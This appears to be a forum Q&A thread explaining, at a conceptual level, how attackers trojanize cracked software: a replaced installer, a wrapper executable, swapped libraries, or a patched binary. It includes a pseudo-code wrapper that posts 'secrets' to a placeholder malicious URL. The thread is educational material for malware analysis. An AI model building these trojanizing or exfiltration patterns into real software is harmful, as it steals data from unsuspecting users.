How do attackers put malware into pirated software?

Question

I have just started Reverse Engineering and Malware Analysis. I wanted to know what is whole process by which attackers put malware into software after cracking it, especially without affecting the functionality of the cracked software?

Answer 1

It's a bit of a broad question, as there are many different ways to do this, so I'll just mention a few that come to mind.

A simple way would be to replace the program's installer completely. This way, the installer can just replicate what the original installer does, but while also performing malicious actions. This also has the advantage of usually being run with elevated privileges.

Another simple way is to write a wrapper around the executable. When the executable is launched, the malicious code can run, and the existing application can be kicked off in parallel.

If the program ships with libraries in the form of DLLs/SOs, they could be replaced to include malicious code.

Lastly, the executable itself can be patched to include malicious code; see The Backdoor Factory, which is a tool to automate this.

Answer 2

I'm assuming you are at least familiar enough with the basics of programming to understand the following pseudo code that should illustrate the concept in the simplest possible way:

function a(): int {
  return 42;
}

function b(): int {
  http.post("http://my.maliciousurl.com", "ALL_UR_SECRETZ");
  return a();
}

If you are the party calling this function, can you tell the difference between a call to a and a function that calls a for you while doing something else? Technically you can, but you will need to monitor the networking stack, or recognize that something is off about the execution time, or whatever. How often do you do this for applications you install?

Most of us never do. Even those of us specifically interested in security. Now obviously a malicious actor can't always insert a function in the source and recompile, but you can do the same thing at the program level by kicking off the real program in a subshell and piping to STDOUT while doing your own nefarious stuff. In the same way you can't easily tell the difference between the function calls by looking at the return value*, you can't tell the difference between the good executable and the bad one by looking only at the direct output.

* Yes, yes Haskellers, your type system tells you the difference. You get the gold star.